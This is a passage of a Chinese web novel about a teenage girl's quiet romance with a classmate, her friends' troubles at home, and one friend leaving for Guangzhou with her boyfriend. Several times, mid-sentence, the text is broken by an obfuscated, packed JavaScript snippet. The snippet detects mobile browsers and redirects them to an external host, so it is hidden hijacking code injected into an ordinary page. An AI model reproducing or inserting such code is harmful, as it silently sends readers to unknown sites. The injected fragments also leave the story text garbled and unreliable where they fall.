我望着向花街口的枯树枝,突然觉得心里空落落的。 晚上吃完饭,我翻着沈晋川给的笔记,看着上面工整的字迹,莫名其妙就开始想他。 不知道这个时候他在做什么?我打开手机,点开他的扣扣对话框。 想谢谢他的笔记,打了又删,删了又打,总觉得怎么说都不够好。 正犹豫着,手机突然震动了一下,对话框里跳出来一行字:【在输入什么?一直输入怎么不发呀?】 我手一抖,手机差点摔地上。 慌忙回了个【没有】又觉得太生硬,正想着要不要补一句“点错了”,沈晋川的消息又来了:【是笔记有什么不懂的地方吗?】 【没有,写得特别仔细,谢谢你。】我咬着嘴唇发完这句话,突然意识到什么,脸一下子烧了起来。 他要是没点开我的对话框,又怎么会知道我在删删改改呢? 【不客气。】沈晋川回得很快,【有不会的随时问我。】 【嗯,好。】我回他。 对话似乎该结束了,可我还想再说点什么,手指在屏幕上悬了半天,却不知道该发什么好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我赶紧跑出房间,也拍了张照片发过去:【这边也是。】 我们就这样有一搭没一搭地聊着窗外的雪,聊着快要开学的日子。直到他说:【不早了,早点休息。】 我盯着屏幕,手指在对话框上徘徊了好久才回:【嗯,开学见。】 【有不会的题随时问我。】沈晋川又补了一句。 【知道啦。】我发了个小猫点头的表情包。 【笔记第十页有重点,记得看。】沈晋川又回了句。 看到这句话,我的指尖轻轻颤抖了一下。第十页的角落,那个他用圆珠笔轻轻画的笑脸,我早就发现了。我咬着嘴唇打字:【嗯。】 发完这个字,我的脸已经烫得不行,对话框安静下来,最后停留在他发来的那句“晚安”上,我把手机贴在胸口,感受着心脏扑通扑通的跳动。 窗外的雪还在下,房间里安静得能听见暖气片里水流的声音。 原来喜欢一个人是这样的感觉啊,连他说的一句晚安,都能让我像得到了全世界最甜的糖果一样。 化学笔记里那个小小的笑脸在台灯下若隐若现,就像我心里那颗悄悄发芽的种子,在冬日的夜晚里,安静地生长着。 真好,我喜欢的人恰好也喜欢着我。虽然我们谁都没有说破。 5. 以后大白兔奶糖能只带给我吗? 开学那天我起得特别早,苏冉来我家时我正往书包里塞大白兔奶糖。 “你不是不爱吃甜的吗?”她盯着我手里的糖问。 我手一顿:“偶尔吃吃还行。”不知道为什么,我突然有点心虚,把原本装在书包里的糖拿出来放在了口袋里,又拿起一颗递给了她。 苏冉接过糖却没吃,整个人蔫蔫的。我碰碰她胳膊:“怎么了?你妈又说你了?” “昨晚听见我爸妈商量,说等我高中毕业就让我去打工,他们说反正女孩子读书再多最后也要嫁人……”她闷闷地说。 我张了张嘴,想说“肯定不会的,父母不可能不让孩子上学的”可看着她发红的眼眶,最终只是紧紧握住了她的手。 风吹起她额前的碎发,露出下面一道浅浅的疤,那是去年她弟弟发脾气时用石头砸的。 苏冉的爸妈有点重男轻女,她弟弟今年也要中考了,学习也很好,一直是她爸妈的骄傲。 苏冉说过,她不明白为什么自己明明也很乖,学习也好,却总是得不到父母的关注。 有次半夜她起来上厕所,听见她爸妈在房间里小声说:“这两年辛苦一点,等苏冉毕业了打两年工,到了年纪找个好婆家,彩礼还能是一笔钱。” 我和她说,可能是她误会了,哪有父母不爱自己孩子的。 其实我说这话的时候很心虚,我的家庭虽然不富裕,但爸妈很爱我,所以我理所当然地觉得天下父母都一样,只是表达方式不同。 可我没有走过苏冉的路,又怎么能真正明白她的感受呢?那时候的我,也不过是站在旁观者的角度,替她的父母说着漂亮话罢了。 我和苏冉一起走进教室时,一眼就看见沈晋川坐在座位上。不知怎的,我心跳突然加快,赶紧把兜里的奶糖捏得更紧了些。明明没什么好紧张的,可手心还是冒了汗。 刚坐下,还在想找什么理由把奶糖给沈晋川时,潘露就凑了过来。 “方梨,苏冉,你们怎么才来啊,我刚来学校的时候听二班的同学说新来了位数学老师……” 我斜坐在椅子上,勉强应付着,眼睛却不自觉地往沈晋川那边瞟。 景初正拿着零食和沈晋川分享,他没接,但不知说了什么,景初的脸一下子红了,低头猛吃薯片。 潘露还在叽叽喳喳地说个不停,可我的心思全在沈晋川身上,只能简单“嗯”“啊”地应付。 除非她们主动问我,我才多说两句,回答也都特别简短,生怕说错话。 “方梨,发什么呆呢?有没有在听我说话啊?”潘露推了我一下,我这才回过神来。 苏冉问我:“我们要去洗手间,你去吗?” 我摇摇头:“不去。” 等她们走后,我摸了摸兜里的奶糖,犹豫着要不要现在拿给沈晋川。 可给他时该说什么呢?直接放他桌上,告诉他这是给他带的奶糖,顺便谢谢他他的笔记? 我心跳莫名加速,教室里吵吵闹闹的,就在我准备起身走过去时,沈晋川朝我这边走了过来。 他走到我桌前,随意地靠在桌边和我聊了几句。我从口袋里掏出大白兔奶糖递给他。 他刚接过糖要拆开,前桌的黄波突然凑了过来:“你们在吃什么好东西?” “奶糖。”我又摸出一颗,“你要吗?” “要啊!”黄波接过去,剥开糖纸塞进嘴里,“真甜,再给我一颗呗。”我又给了他一颗。 余光里,我看见沈晋川望着黄波吃糖的样子,捏着手里的奶糖在指间转来转去,他突然开口:“我也还要。” 我愣了一下,赶紧又掏出两颗递给他。他接过去时,我注意到他眉毛微微扬了一下,嘴角似乎也弯了弯,但很快又恢复成了平常的样子。 他慢悠悠地剥开糖纸,把奶糖放进嘴里,脸颊微微鼓起一块。我偷偷瞄着他,发现他含着糖的时候,右边脸颊有个若隐若现的小酒窝。 “嗯,确实很甜。”他看着我突然说了句。 我脸颊有点烫,赶紧把糖塞进嘴里,含糊地说了句:“糖都甜。” 黄波在旁边插嘴:“方梨你也太偏心了,给他两颗就给我一颗?再给我两个!” 我捏了捏糖纸:“没有了。” “那沈晋川的那颗给我吧。”他说着就去抢沈晋川手里的另一颗糖。 沈晋川迅速把手举高,他比黄波高了半个头,黄波跳了两下没够着,只好作罢。 黄波撇撇嘴:“小气!”说完就回自己座位去了。 教室里嘈杂的声音突然变得很远,只剩下沈晋川还站在我桌前。 他低头看着手里那颗糖,突然问:“这不是只给我一个人的报酬吗?” 我的心猛地跳了一下:“是、是啊……” “那你刚刚还给别人?”他的声音很轻,却让我耳尖发烫。 我张了张嘴,不知道该说什么,只能盯着他校服袖口露出的一截手腕发呆。 他忽然凑近了一点,声音压得更低:“那以后……大白兔奶糖能只带给我吗?” 我僵在座位上,感觉脸上的温度直线上升,这个直接表白有什么区别?脸烫的我不敢和他对视,结结巴巴地挤出了一个“嗯”。 从那天起,我又开始带大白兔奶糖去学校了,每天早上到教室,我都会趁人不注意时往他抽屉里塞两颗,他也总是默不作声地收下,偶尔下课不去打篮球时,也会专门跑来我的书桌前和我嬉闹。 分班表贴出来那天,我和沈晋川的名字都出现在理科班的名单上。潘露也在,苏冉去了文科班。 “以后就剩我一个人了。”苏冉拉着我和潘露的手,声音闷闷的,“你们还在一个班……” “怎么会呢。”我赶紧说,“我们放学还是一起走,课间我们肯定经常去找你。”我努力做出舍不得的表情,心里却偷偷高兴,又能天天见到沈晋川了。 潘露拍了拍苏冉的背:“文科班就在我们班旁边,你想我们了随时过来啊!” 我捏了捏苏冉的手,故作轻松地转移话题:“对了,听说文科班的班主任特别温柔,你以后可有福啦!” 窗外的风拂过我们交握的手,卷着周围同学的嬉闹声扑进来,一瞬间盖过了我们的声音。 分班后,学习一下子紧张了起来,重点班的节奏快得让人喘不过气,每天都有做不完的试卷和练习题。我的课桌上永远堆着厚厚的参考书,连下课去洗手间都要小跑着去。 刚开始,我还总是偷偷关注沈晋川的动向, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464330|185454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可渐渐地,光是应付每天的作业和考试就已经耗尽了我的精力。 有时候沈晋川经过我的座位,轻轻敲一下我的桌子,我才猛地从题海里抬起头,愣愣地看他一眼。 可他却好像一点都没变,还是会在课间晃到我座位旁边,伸手问我要一颗奶糖。 交作业时,故意把他的本子和我的叠在一起,课间休息时趁我不注意,在我桌上放一瓶柠檬汽水。 日子就像大白兔奶糖一样偷偷的甜着。 直到又一个周五放学,我和潘露,苏冉刚走出校门,就看见严莉莉朝我们飞奔过来。 她一把搂住我们,笑嘻嘻地说:“姐妹们!我可想死你们了!” 她比上次回来时更夸张了,黄头发剪了个斜刘海,耳朵上打了好几个洞,全都戴着耳钉,指甲涂得通红,穿着不符合她年纪的超短吊带裙。 这打扮让我想起了她上次给我们看的林熙的照片,特别是发型,和那个叫林熙的特别像。 “你什么时候回来的?”我们都很惊讶。 “就敢在你们放学前回来接你们的,怎么样?感动吧!”她嚼着口香糖,说话时泡泡啪地破了。 “和你妈妈一起回来的?”我问。 她脸色突然变了:“别提那个女人。”她拽着我们说:“走,我请你们吃饭!” 潘露皱了皱眉:“怎么突然要请客?” “去我家吃吧。”我接话,“我让我妈炒两菜,外面吃要好几十呢。” “就在外面吃,我请你们。”严莉莉坚持要去学校对面的炒菜馆,“你们先把书包放回家,我先去点菜等你们。”说完就往马路对面跑去。 我们三个慢吞吞地往家走。苏冉突然拽住我的衣角:“你们觉不觉得莉莉有点怪?该不会是出什么事了吧?” 潘露有点不屑地撇了撇嘴:“你没看见刚才校门口那些人的眼神吗?”她压低声音,“明明就比我们大一岁,非要打扮得跟个女混混似的,耳钉打得跟筛子一样。”她声音很轻,“指甲涂得跟女鬼一样,她还说不想和她妈一样,她这装扮明明就和她妈一模一样……” “她可和她妈妈不像。”我打断潘露的话,“虽然这个打扮确实不合她的年纪,但也不能说明她是坏孩子啊。” 我知道,其实潘露骨子里是看不上严莉莉的,可以说我们三个她貌似都看不上。 潘露就是这样,总觉得自己比别人强,她成绩好,家境好,会跳舞,长得漂亮,总之样样都好,从小就有很多男生喜欢。 她跟我们在一起时,总带着一种若有若无的优越感,好像和我们做朋友是她大发慈悲似的。 记得严莉莉爸爸还在时,有次我们去她家玩,她爸爸请我们吃他亲手包的包子。我和苏冉都觉得特别好吃,只有潘露一口没动,她虽然接过包子,但眼神里明显带着嫌弃。 后来我们离开时,我看见她偷偷把包子扔在了向花街口的那个垃圾桶里。 等我们到了餐馆,发现严莉莉还点了啤酒,她给我们倒果啤,自己开了一瓶啤酒。 “可不能喝酒啊!”我有点担心。 “你们喝果啤,啤酒是我喝的。”她满不在乎地摆摆手,然后八卦地凑过来:“快跟姐说说,你们都谈恋爱了没?” 6. 她说那是爱情 严莉莉总给人一种早熟的感觉,为什么这么说呢?记得初中时她就总爱说些男女之间的事。 她整天挂在嘴边的不是‘隔壁班某某暗恋我们班某某’,就是‘谁谁看谁谁长得好看给她表白’之类的,就像是校园的八卦播报员。 潘露皱着眉头说:“严莉莉,你怎么满脑子还是这些乱七八糟的?” 苏冉叹了口气,附和道:“学习压力这么大,谁还有心思谈恋爱啊?” 严莉莉嗤笑一声,晃了晃手里的啤酒:“你们三个就是书呆子,光知道埋头读书,连恋爱是什么滋味都不知道。”说完,她仰头灌了一大口。 我看着她喝酒的样子,劝道:“少喝点,这是啤酒可不是饮料,待会别喝醉了。” 严莉莉咧嘴一笑,把酒瓶递过来:“要不要来一口?” 我连忙摇头:“不要。” “小屁孩。”她晃了晃酒瓶,“啤酒可是好东西,开心能喝,不开心也能喝,你们啊,还是小孩,不懂。” 苏冉盯着她,语气里带着担忧:“莉莉,你才去惠中多久,怎么变成这样了?” 严莉莉挑眉:“哪样?我这叫成熟,叫魅力!你们这些小孩懂什么?”她得意地扬起下巴,“我现在可是个完整的女人了。” 她说出这句话的时候,我压根没听懂这句话的真正意思是什么。 潘露犹豫了一下,还是忍不住问:“莉莉,你妈妈都不管你喝酒的吗?” 一提到她妈妈,严莉莉的脸色瞬间阴沉了下来,她把酒瓶砸在桌上:“别提那个女人!她不是我妈!” 我们三个被这突如其来的反应吓了一跳,面面相觑。 我小心翼翼地问:“怎么了?” 严莉莉抓起酒瓶猛灌了几口,声音里满是愤怒:“我爸才走多久?她就急着跟别人结婚了!有次放假我没地方去,想去找她,她居然说新家不方便,还要照顾什么弟弟,让我在宿舍呆着,没事也别常给她打电话,她老公会误会……”她冷笑一声,“弟弟?她跟个男人生的娃就是我弟弟了?呸!我才没弟弟呢!” 她告诉我们,她妈妈跟之前生孩子的那个男人结婚了。 那个男人她见过几次,肥头大耳,长得连她爸一半都比不上,但架不住有钱,以前她妈在家食指不沾阳春水,现在天天在家系着围裙围着锅台转。 严莉莉声音都在抖:“我都不知道我爸这些年到底在坚持什么。” 她说她真替她爸不值,她爸一辈子守着那个破房子,掏心掏肺地付出,结果呢?人家根本不在乎! 我听着她的控诉,喉咙发紧,竟找不出一句合适的话来安慰。 苏冉轻轻碰了碰严莉莉的手臂:“也许你误会你妈妈了,说不定你妈妈也有她的难处呢?” “有个屁的难处!”严莉莉猛地抬起头,眼睛里泛着泪光,“她就是爱钱!坏女人!” 她常用这三个字来形容她妈妈,在她口中,那个抛弃家庭的女人,永远是个贪慕虚荣的坏女人。 严莉莉烦躁地摆摆手:“别提她了,本来高高兴兴的,一说她就扫兴。”她仰头灌了几口啤酒,用手背擦了擦嘴角,目光灼灼地看向我们,“姐妹们,我这次回来是要告诉你们,我要去广州了。” “去广州?”我惊讶地瞪大眼睛,“你一个人去?” 苏冉皱起眉头:“你不是在学计算机吗?去广州做什么?” “不是一个人。”严莉莉脸上浮现出甜蜜的笑容,“我和林熙一起去,主要是他想去广州闯荡,我决定跟他一起去。” 说这话时,她的眼睛亮晶晶的,仿佛已经看到他们在大城市打拼出的美好未来了。 潘露忍不住插话:“你知道广州有多远吗?离这儿几千公里呢!” “我当然知道。”严莉莉不以为然地摆摆手,“那可是大城市!林熙有个哥们在那儿做生意,做得可大了。” 我忍不住质疑:“他才二十岁,他朋友应该和他差不多吧,能做多大生意?” 苏冉立刻附和:“就是,你别被人骗了,那么远的地方,出事了怎么办?” 潘露也忧心忡忡:“你们认识才多久啊,就要跑那么远?到时候万一被人卖了,你都不知道。” “你们想象力也太丰富了!”严莉莉笑着摇头,“他才不会骗我呢。”她突然压低声音,“我们已经……在一起了。” 她说这话的时候,脸颊上泛着红晕,但那羞涩的表情明显不是因为酒精。 “你上次回来不是说过了吗,你们在谈恋爱。”我一脸茫然,完全没明白她的这个‘在一起’和之前那个‘在一起’不是一个意思。 “所以说你们还是小孩子嘛!”严莉莉无奈地叹气,“我是说,我们已经那个了……我现在是他的人了。” 见我们三个还是一头雾水,她干脆直说了。等我们反应过来时,全都震惊得说不出话。 “严莉莉你疯了吗!”我第一个喊出声,“你才多大啊!” “没见过世面的小屁孩。”她满不在乎地撇嘴,“再过几个月我就十九了。” 苏冉急道:“你们都还是孩子,怎么能做这种事?” 潘露更是痛心疾首:“你知不知道女孩子的贞洁有多重要?你以后怎么办?” 严莉莉看着我们惊慌失措的样子,轻蔑地笑了:“看看你们,一个个大惊小怪的。以后我会和他结婚,我们会生孩子,会一辈子在一起的。” 十八岁偷尝禁果,她说那是爱情,满眼都是对未来的憧憬,絮絮叨叨地说着林熙有多爱她。 那个单纯的男孩,在他们第一次缠绵时,看到她疼得皱眉就慌乱地亲吻她,见到血时更是一脸茫然,以为是自己弄伤了她。 她躺在林熙怀里,轻声给他解释那些生理常识,说起这些时,她眼里闪着幸福的光。 “他就是个小傻子。”严莉莉甜蜜地抱怨着,“什么都不懂的小傻子。” 可就是这样一个小傻子,却信誓旦旦地说要爱她一辈子。 原本林熙计划先去广州站稳脚跟再接她过去,但严莉莉执意要一起去。 “爱一个人就是要时时刻刻在一起啊。”她认真地说,“他是为了我们的未来去打拼,我怎么能坐享其成?我要和他一起努力,一起创造属于我们的生活。” 那时的严莉莉,虽然整天把“结婚”“男人”挂在嘴边,骨子里却很单纯。 她全心全意地相信林熙的承诺,相信他能给自己一个美好的未来。 或许是因为她妈妈带给她的伤害,让她在情窦初开时就不顾一切地投入这段感情,恨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464331|185454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不得立刻跟随心上人去天涯海角打拼。 可我却总觉得那个叫林熙的没那么简单。 虽然我那是还未谈过恋爱,不懂感情里的弯弯绕绕,但一个二十岁的男生怎么可能真的什么都不懂? 他那副懵懂无知的样子,分明是装出来的。只是,他为什么要装?那时的我始终想不明白。 我忍不住又劝道:“我觉得你还是在考虑考虑的好,毕竟那么远。” 严莉莉满不在乎地摆摆手:“还考虑什么,行李我都收拾好了。”她看着我们担忧的表情,语气软了下来,“知道你们是为我好,放心吧,我们会好好打拼的。”她眼睛突然亮起来,“等我在广州混出名堂,到时候你们都得来找我玩啊!” 见我们都沉默不语,她举起酒瓶:“好啦,别愁眉苦脸的啦。”她笑着,“要是想我了,随时发信息,打电话。顿了顿,又补充道:“要是特别想我,就开视频!只要是你们三个,我保证秒接。” 严莉莉仰头喝完最后一口啤酒,接着说:“我这一走啊,最快也得过年才能回来了,你们可别太想我。” 苏冉红着眼睛:“想你了就给你发消息,你可要记得回。” 我看着严莉莉泛红的脸,忍不住叮嘱:“去那么远的地方,一定要照顾好自己啊,如果觉得那里不适应,就早点回来。” “知道啦!”严莉莉举起酒瓶和我们挨个碰杯,“今天可是给我饯行,都开心点!说不定等你们大学毕业,我都当上女企业家了,到时候我罩着你们。” 潘露撇撇嘴:“企业家哪有那么好当的?” 严莉莉满不在乎地笑着:“这种事谁说得准呢?” 昏黄的灯光下,她的脸上看不出一丝即将远行的忐忑,反而带着跃跃欲试的兴奋。 那晚我们聊了很多很多,从十六岁聊到小时候。那时候,我们四个小丫头总爱挤在向花街口那块大石头上,一边数星星一边叽叽喳喳地模仿大人说一些不切实际的话。 聊起严莉莉小学五年级爬树摔下来的糗事,脸上腿上都是伤,明明疼的直抽气,却怕被她妈妈骂,硬是咬着牙说不疼。 聊起苏冉每年暑假,她都要跟着她爸妈去地里干活,我和严莉莉想找她玩,她爸妈说活没干完,不让她玩,我俩居然扛着锄头就跑去田里帮忙了。 聊起潘露初一的暑假,她去市里参加跳舞比赛只拿了第三名,回来躲在家里生闷气,我们三个就偷偷把她叫到严莉莉家,翻出严莉莉妈妈的花裙子,套在身上扭来扭去地跳舞,逗她开心。 聊到我们四个曾经说向花街太小了,要离开这里时,严莉莉突然不说话了。 过了好一会儿,她才轻声说:“以前我们总说要一起离开向花街,现在……我要先走了。” 她说:“你们好好学习,我先出去闯荡闯荡,给你们探探路。” 天色渐渐暗了下来,临回家前,我掏出手机说:“咱们拍张合照吧。” 她们都点头说好。 拍照时,严莉莉紧紧搂住我们的肩膀,笑着说:“等过年回来我们再聚,到时候给你们带广州的特产。” 我们笑着答应她。 那时候我们谁都不知道,严莉莉这一走,将会改变她的一生,更没想到,等再见她,已经是三年后的事了。 7. 我们恋爱了 高三的日子就像一根绷到极限的弦,随时都可能会断掉。 每天天不亮就爬起来,教室里永远弥漫着紧张的气氛,试卷一张接一张地发下来,课桌上的书堆得遮住了脸,黑板上的倒计时一天比一天刺眼。 老师嘴里永远念叨着“时间不多了”,家长永远问着“这次考得怎么样”。 生活像是被按了快进键,吃饭要快,走路要快,连发呆都成了奢侈。 下课铃一响,教室里倒下一片,有人趴着补觉,有人抓紧刷题,还有人红着眼睛翻错题本。 以前课间总有人偷偷往沈晋川抽屉里塞情书,现在也少了,大概都被成堆的试卷和笔记淹没了吧。 我和沈晋川,好像还是老样子。下课偶尔聊几句天,我还是会给他带大白兔奶糖,他还是会接过去,笑着对我说“很甜。” 那句“很甜”,就像在永远写不完的习题集里,突然翻到了一页空白纸,让人忍不住想在上面画个小太阳。 有一次课间休息,班主任看我们最近复习太拼,特意叮嘱:“下课都出去活动活动,别老闷在教室里。” 同学们放下手里的书本,有的去了走廊,有的下楼去了操场,大部分同学都选择留在座位上, 靠窗的那组人突然传来笑声,我抬头看见几个女生正在用扑克牌占卜。 沈晋川的座位周围不知何时也聚了七八个人,黄波站在他座位旁,正用圆珠笔敲着桌子:“来来来,就玩真心话大冒险!”他转头时看见我,招了招手,“方梨,你也来。” 教室里闷热的空气似乎突然流动起来了,不知是谁把窗户又推开了一些。 我们围成一圈,用橡皮当骰子玩了起来。第三轮的时候,沈晋川的输了,他选了真心话。 黄波问他:“有喜欢的人吗?” 沈晋川几乎没有犹豫,说:“有。” 大家立刻兴奋起来。没过几轮,他又输了,还是选了真心话。这次的问题更直接:“沈晋川,你喜欢的人,现在在这个教室里吗?” 我的心跳突然漏了一拍,教室里安静了一瞬,所有的目光都聚在他身上。 他顿了顿,然后,目光飞快地扫过我坐的位置,点了点头:“在。” “哇!谁啊谁啊?”同学们炸开了锅,七嘴八舌地猜着名字,兴奋得像发现了新大陆。 我的脸瞬间烧了起来,赶紧低下头假装整理别人桌上的卷子,手指好像都有点不听使唤了。 明明他什么也没明说,没有指名道姓,可我就是知道,他说的是我,他看的那一眼,就是我。 一股又甜又慌的感觉像温热的泉水一样从心底咕嘟咕嘟冒上来,我感觉整个人都轻飘飘的,又有点手足无措的害羞。 耳朵尖烫得厉害,连周围的喧闹声都好像隔了一层。他喜欢我?他真的喜欢我?这个念头像小鹿一样在我心里乱撞。 游戏结束后,回归上课时间,谁也没再提起那个课间的问题,沈晋川还是会每天问我要一颗糖。偶尔转头时,会发现他正好也在看我,目光相触时又各自慌乱地低下头去。 日子在模考,讲题,再模考的循环里飞快滑过。 高考那天,沈晋川拍了拍我的肩膀说:“方梨,加油!” 我冲他笑了笑:“嗯!你也加油!” 潘露和苏冉从后面追上来:“一起加油!”我们四个在教学楼前碰了碰拳头。 那一刻,所有的紧张和不安似乎都被冲淡了,只剩下满满的斗志。 高考结束那天,天格外的蓝。 晚上,我窝在床上,心里有种说不出的轻松和一点点空落落。手机屏幕亮了,是沈晋川发来的扣扣消息。 他问:【考得怎么样?】 我回:【还行吧,你呢?】 【也还行。】他发完有发了个猫咪的表情包。 聊了几句无关紧要的考后感想和对暑假的期待后,空气里似乎飘着一点点微妙的紧张感。 然后,沈晋川的消息又跳出来:【方梨,明天你有空吗?】 我的心跳又开始加速:【有啊,怎么了?】 【想约你出去走走,可以吗?】 【好。】我几乎是秒回,回完又觉得太快了,有点不好意思。 【那明天中午我去你家找你?】 【嗯,好。】 手机屏幕暗下去又亮起来,我盯着这句“明天中午我去你家找你”反复看了十几遍,他会说什么?是要告白吗? 我猛地用被子蒙住头,在床上翻了个身,把发烫的脸埋进枕头里,却压不住砰砰的心跳声。 枕头里传来闷闷的笑声,我踢了踢被子,又忍不住解锁手机把那句话看了一遍。窗外的月光渐渐淡去,我看着他的信息迷迷糊糊地睡了过去。 第二天早上,我起得特别早,打开衣柜,翻来翻去,平时觉得衣服挺多的,这会却连一件也挑不出来。 反反复复试了好几件,最后挑了一条干净的白色长裙换上,在镜子前照了又照,把头发梳了好几遍,总觉得不够好。 手机嗡嗡一响,是沈晋川发来的:【我在你家门口。】 【好,我出来了。】我抓起小包,对着镜子照了照,深吸了口气,快步走了出去。 刚出门就看见了他,穿着简单的体恤和牛仔裤,看到我,他笑了笑:“走吧。” 我们并肩走着,往向花街的小公园走去。 路上行人不多,很安静。我有点紧张,手不知道往哪儿放,感觉他也一样,他好像想说什么,好几次侧头看我,嘴唇动了动,又抿紧了,抬手摸着耳后。 他怎么不说话呢?我微微侧头偷瞄了一眼,心里像揣了个小兔子,扑通扑通跳个不停,脸上也有点热热的。 阳光很好,风也温柔,可我们之间的空气却有点粘稠的安静。 走到公园里,在一条安静的长椅上坐下,沈晋川开口了,不过聊起的是昨天考试的最后一道题,聊完又说起暑假想去哪里玩,话题跳跃的很大,说着说着,他突然讲起了笑话,我被他讲的几个笨拙的笑话逗乐了,哈哈笑了起来,刚才的紧张感好像瞬间消散了。 我笑的正开心,沈晋川突然叫了我一声,声音很认真:“方梨!” 我转过头看他。他坐直了身体,眼神很亮,专注地看着我,脸上带着一种下定决心的表情。 “我……”他深吸了一口气,像是鼓足了很大的勇气,“我喜欢你,很久了,你可以做我女朋友吗?” 时间好像一下子变慢了,周围的声音都消失了,只剩下他清晰的话语在我耳边回响,还有我自己咚咚咚的心跳声。 阳光落在他脸上,他认真的眼神像带着温度,一下子烫到了我的心里。 所有的猜测和期待,还有那些偷偷的欢喜,在这一刻都成了真。巨大的喜悦像烟花一样在心里炸开,然后变成温热的暖流涌遍全身。 我的脸更烫了,但这次不是因为害羞,而是纯粹的,无法抑制的开心。 我看着他期待又有点紧张的样子,嘴角忍不住向上扬起,用力点了点头:“好!” 后来,严莉莉问过沈晋川,到底是什么时候喜欢上我的,是一见钟情还是日久生情。 沈晋川说都有,他说第一次在学校的梧桐树下看见我时,就心动了,那天血染红了我的白色裤子,他的篮球差点砸到我。 后来他转到我们班,还和我坐了同桌,他说我很特别,爱笑,对朋友特别仗义。 他刚转来那会,班里有个男生老爱找苏冉麻烦,每次都是我冲上去教训那家伙。沈晋川说我自己也小小一个,凶起来却像只护崽的小老虎。 这事,我倒是一点也想不起来了。 我听着,心里甜滋滋的,然后故意逗他,说原来他那么早就盯上我了? 他抱着我笑,轻啄我的唇,说是,第一次见面他就盯上我了。 我很满意他这个回答,笑着推他,却被他搂得很的更紧了。 我们在公园的长椅上坐了很久,表白之后,好像一下子不知道说什么好了。 夏日的微风吹过来,带着树叶的沙沙声,吹散了点脸上的热气。我偷偷瞄他,发现他抠着长椅的木纹边,耳朵尖还有点红。 我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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冲进房间换好衣服,我把自己摔在床上,感觉丢脸丢到家了。 第一次见到沈晋川,也是穿着白色的衣服来了例假……这白色跟我有仇吧!我怎么总在他面前出这种糗!我懊恼地用枕头捂住脸,觉得真的没脸见人了。 潘露和苏冉来找我,说考完了要出去庆祝一下。苏冉一进来就抱着手机傻乐,嘴角快咧到耳朵根了,我和潘露对视一眼,觉得不对劲。 “苏冉,你乐什么呢?捡钱啦?”潘露问。 苏冉这才像刚回神,脸一下子红了,扭捏着说:“那个……我……我谈恋爱了。” “谁啊谁啊?”我和潘露立刻来了精神。 “罗斌,我们班的。”苏冉声音小小的,“他今天跟我表白了……我答应了。” 我和潘露起哄。 苏冉红着脸推我:“别光说我!方梨,你今天怎么回事?蔫蔫的?还有,我可是在我家门口看见你跟沈晋川往公园那边去了!老实交代,你俩怎么回事?” 看着她们俩八卦的眼神,我只好把今天的事也说了。 潘露和苏冉尖叫着恭喜我,比她们自己谈恋爱还高兴。聊着聊着,我和苏冉看向一旁的潘露。 “潘露,你呢?考完了,追你的人肯定不少吧?就没一个心动的?”我问。 潘露甩了甩头发,一脸傲娇:“没有!那些凡夫俗子,哪配得上我,能让我看上眼的,那得是顶顶优秀的人中龙凤才行!我现在啊,专心等我的真命天子出现!”她对自己的要求向来高得离谱。 我们说笑着,决定出去吃饭。苏冉有点不好意思地问:“我能叫上罗斌一起吗?他说想和你们认识一下。” 我和潘露当然说好。我也给沈晋川发了信息,让他也来。 我们去了严莉莉带我们吃的那个小饭馆,坐的还是上次那个小包厢。 那天晚上,在那个熟悉又有点吵闹的小包厢里,我第一次见到了罗斌,这个后来毁了苏冉的男生。 8. 我的异地恋就这样开始了。 罗斌给我的第一印象很温和,他戴着黑框眼镜,穿着简单的白体恤,话不多但很有礼貌。 整晚他都安静地坐在苏冉旁边,时不时给她夹菜,帮我们倒水。我们问一句他答一句,声音轻轻的,看起来是个很体贴的男生。 吃饭时我想喝冰可乐,沈晋川却给我换了常温的。我疑惑地看他,他凑过来小声说:“你这两天不能喝冰的。” 我立刻明白过来,脸一热,乖乖喝了那瓶常温的。 “考完试了,我们五个明天约个时间一起出去玩吧。”我提议道。 潘露立刻摇头:“我才不要当电灯泡呢!两对情侣加我一个,多尴尬。” 苏冉看了看罗斌,有些歉意地说:“我明天得帮家里干活,没空。” 罗斌马上接话:“明天我去帮你。” 苏冉脸红了:“不用……” 我和沈晋川对视一眼,看来明天只能我们两个单独出去了。 吃饭时我们拍了张合照,我发到了扣扣群里给严莉莉看。可等了半天她都没回复。 “骗子。”苏冉撇撇嘴,“走的时候还说我们发信息会秒回的,结果现在信息不回,视频也不接。” “可能在忙吧。”我说。 “这都晚上了忙什么啊。”苏冉不满地说,“等她回信息了我一定要好好说她两句。” 